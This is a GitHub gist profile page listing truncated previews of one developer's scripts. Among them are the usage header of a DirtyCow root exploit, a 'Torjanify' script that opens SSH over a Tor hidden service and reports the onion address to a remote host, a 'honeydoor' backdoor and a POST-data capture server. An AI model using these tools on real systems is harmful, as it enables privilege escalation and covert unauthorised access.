Skip to content

Instantly share code, notes, and snippets.

View darkerego's full-sized avatar

Darkerego darkerego

View GitHub Profile
#!/bin/bash
# Prerequisites: http://wiki.openwrt.org/doc/howto/buildroot.exigence
# Additionally JDK is needed
generate_buildenv() {
# Prepare build enviroment
mkdir openwrt_build
cd openwrt_build
git clone --depth=1 git://git.openwrt.org/15.05/openwrt.git
dmesg | tr ' ' '\n' | grep -iP "DPT|SRC\=" | sed "s/DPT=/:/" | sed "s/SRC=/ /" | tr -d '\n' | tr ' ' '\n' | grep "."
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
@darkerego
darkerego / bastword.sh
Last active June 29, 2017 21:36
BastWord - A Password Manager Written in Bash
# New Version : github.com/darkerego/bashword
#!/bin/bash
# Random password generator. Originally by jbsnake, modified by crouse to use Upper case letters as well.
# Now also does error checking and fails if the input isn't numerical integers or if no input is given at all.
# Modified by DarkerEgo to include some special characters, ask for a password description, and save the outputs
# to a file, which now uses aespipe with base64 to securely store the passwords. This functionality is currently
# under development.
# TODO:
# - Add a function to create/recreate a master password, hash it and store somewhere.
@darkerego
darkerego / zensim.sh
Last active October 26, 2017 02:47
Totally random, nonsensical, entropy-driven trade simulator
#!/bin/bash
#########################################################
# ZenSim ... in posix ~ Darkerego 2017
#########################################################
#
# Runs simulations using randomly generated
# variables, preselected for each included strategy. Run
# over and over until you find a desirable result, and than
# you can train the bot to trade using whatever paramaters the
# program generated. Commands are saved to a file called
#!/bin/bash
# Just a wrapper for massmine queries.
# DarkEgo November, 2017
# check depends
which massmine >/dev/null 2>&1 || { echo "Error! Massmine is not in system PATH. Please configure and try again!" ; exit 1 ; }
which jq >/dev/null 2>&1 || { echo 'Error! Please install the package `jq` <debx: apt update;apt -y install jq>' ; exit 1 ; }
# other stuff we need
if [[ ! -d "/home/$USER/mine" ]] ; then
#!/usr/bin/python3.6
"""
Whoxy API Tool - Query whoxy.com for reverse whois data
Darkerego, 2019
"""
import argparse
import requests
import json
import config """ create a file called `config.py` and set your api key:
""" api_key = 'yourapikeyhere'
#!/bin/bash
#########################################################################################
# Torjanify - Configure ssh access through a tor hidden service (ubuntu <= 14.04 version)
#########################################################################################
#
# Host and port where you want to receive the generated onion url:
recvHost=some.server
recvPort=8443
@darkerego
darkerego / honeydoor.c
Created May 21, 2019 16:54
Backdoor & Honeypot - Specifically tailored towards messing with MIRAI.
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
@darkerego
darkerego / pypostsrv.py
Created June 3, 2019 00:25
# Python3 server that writes incoming post data to disc
#!/usr/bin/python3
# Python3 server that writes incoming post data to disc
import urllib.parse
import socket
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
from os import mkdir
from sys import exit
from random import sample